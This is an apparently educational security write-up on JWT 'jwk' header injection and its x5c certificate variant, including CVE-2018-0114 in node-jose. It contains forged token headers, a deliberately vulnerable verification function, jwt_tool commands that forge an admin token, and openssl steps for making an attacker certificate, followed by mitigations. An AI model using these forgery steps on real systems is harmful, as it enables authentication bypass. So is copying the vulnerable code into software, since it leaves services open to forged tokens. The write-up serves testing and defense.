JWK Injection

Embed your own RSA public key in the JWT header. A vulnerable server uses it to verify - against the attacker's own key.

Embedded keys in the RFC

RFC 7515 §4.1.3 defines the jwk (JSON Web Key) header parameter as:"The public key that corresponds to the key used to digitally sign the JWS."The intent is for the token to be self-describing - a recipient can fetch the public key directly from the token without contacting any external endpoint.

The vulnerability arises when a library or application uses the embedded JWK directly for signature verification without checking it against a trusted key store. Since the attacker controls the token - including its header - they can embed any public key they choose, sign the token with the matching private key, and the server will successfully verify the signature using the attacker's own key.

The forged token structure

Forged token header with embedded attacker JWK
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "use": "sig",
    "alg": "RS256",
    "kid": "attacker-key-2024",
    "n":   "sdfG7kPqoK8zRx...",   // attacker's public key modulus (base64url)
    "e":   "AQAB"                  // public exponent (65537)
  }
}

The payload contains whatever claims the attacker wants (role: "admin", arbitrary sub, etc.). The signature is computed using the attacker's RSA private key. A vulnerable server:

  • Parses the header and extracts the jwk field
  • Imports the embedded public key
  • Verifies the signature using that key
  • The signature is valid - it was signed by the corresponding private key
  • The server accepts the forged token as legitimate

node-jose and CVE-2018-0114

The most widely-cited real-world instance is node-jose versions prior to 0.11.0, disclosed in 2018. node-jose is the JOSE implementation used internally by many enterprise products, notably several Cisco applications. The vulnerable code path:

Vulnerable node-jose code path
const jose = require('node-jose');

// VULNERABLE: key is extracted from the token header itself
async function verifyToken(token) {
  // node-jose < 0.11.0 trusted the embedded JWK without validation
  const key = await jose.JWK.asKey(
    JSON.parse(atob(token.split('.')[0])).jwk  // ← attacker-controlled
  );
  const result = await jose.JWS.createVerify(key).verify(token);
  return result.payload;
}

// Attacker supplies a token with their own key in the header.
// jose.JWK.asKey() imports it.
// jose.JWS.createVerify(key).verify(token) - verifies against attacker's key → pass.
Secure - verify against a trusted keystore
const jose = require('node-jose');

// Build a keystore from pre-configured trusted keys ONLY
const keystore = jose.JWK.createKeyStore();
await keystore.add(trustedPublicKeyJwk);  // server-side trusted key

async function verifyToken(token) {
  // createVerify(keystore) IGNORES any embedded jwk/jku header params
  // and only uses keys from the trusted store
  const result = await jose.JWS.createVerify(keystore).verify(token);
  return result.payload;
}
Cisco Security Advisory cisco-sa-20190513-securelogin
CVE-2018-0114 affected Cisco products using node-jose as their JOSE implementation. This included authentication components in Cisco products that accepted self-signed JWTs. The advisory rated it Critical (CVSS 10.0 in some configurations) as it allowed complete authentication bypass.

EC key variant

The same attack works with ECDSA (ES256). The attacker generates an EC keypair, embeds the public EC key as the jwk claim with kty: "EC", and signs with the private EC key. The JWK format for EC keys:

EC public key embedded in header
{
  "alg": "ES256",
  "jwk": {
    "kty": "EC",
    "crv": "P-256",
    "x": "f83OJ3D2xF1Bg8vub9tLe1gHMzV76e8Tus9uPHvRVEU",
    "y": "x_FEzRu9m36HLN_tue659LNpXW6pCyStikYjKIWI5a0"
  }
}

Detection

To test a target, generate a fresh RSA or EC keypair in JWT Arsenal, forge a token with an arbitrary payload and your public key embedded in the header, then send it:

Quick test with jwt_tool
# jwt_tool's -X i flag performs JWK injection automatically:
python3 jwt_tool.py <JWT> -X i

# To inject with a specific claim:
python3 jwt_tool.py <JWT> -X i -I -pc sub -pv admin
CVE-2018-0114 and beyond
  • node-jose < 0.11.0 - CVSS 10.0 in Cisco product context
  • Affected Cisco Prime Infrastructure, Cisco Enterprise Network Function Virtualization Infrastructure Software, and others
  • Pattern still appears in custom JWT parsers that extract the JWK before validating the signature
  • Also found in some OIDC client libraries that support key discovery via jwk header

x5c - the X.509 certificate variant

RFC 7515 §4.1.6 defines x5c (X.509 Certificate Chain) as the certificate equivalent of jwk. Instead of embedding the public key as a JWK JSON object, the attacker embeds their X.509 certificate chain directly in the header as an array of base64-encoded DER certificates. A vulnerable server extracts the public key from the first certificate and uses it to verify the signature - same logic, different encoding.

Forged token header with embedded x5c certificate
{
  "alg": "RS256",
  "x5c": [
    "MIICpDCCAYwCCQD..."   // base64-encoded DER of attacker's self-signed certificate
    // additional chain certificates if needed
  ]
}
Generate and encode the certificate for x5c
# Generate keypair and self-signed cert
openssl genrsa -out attacker.key 2048
openssl req -new -x509 -key attacker.key -out attacker.crt -days 365 \
  -subj "/CN=attacker"

# Convert DER to base64 for the x5c array value
openssl x509 -in attacker.crt -outform DER | base64 | tr -d '\n'
# → paste this value into the x5c array in the header

# Then sign the forged token with attacker.key
# A vulnerable server reads x5c[0], extracts the public key, verifies → bypass

Unlike x5u, this attack requires no external hosting - the certificate is self-contained in the token, making it usable even in environments where the server has no outbound internet access. The exploit profile is identical to JWK injection.

Mitigations

  • Never use the jwk header field as the source of the verification key - always use a server-side trusted key store
  • If the library supports "keystore mode" vs "auto-key mode," always use keystore mode
  • Validate that any key material used for verification matches a pre-configured trusted key by key ID or thumbprint
  • Consider stripping or rejecting tokens that contain jwk, jku, or x5u header claims before processing
  • Keep JWT libraries up to date - this class of bug is typically fixed in library updates
GitHub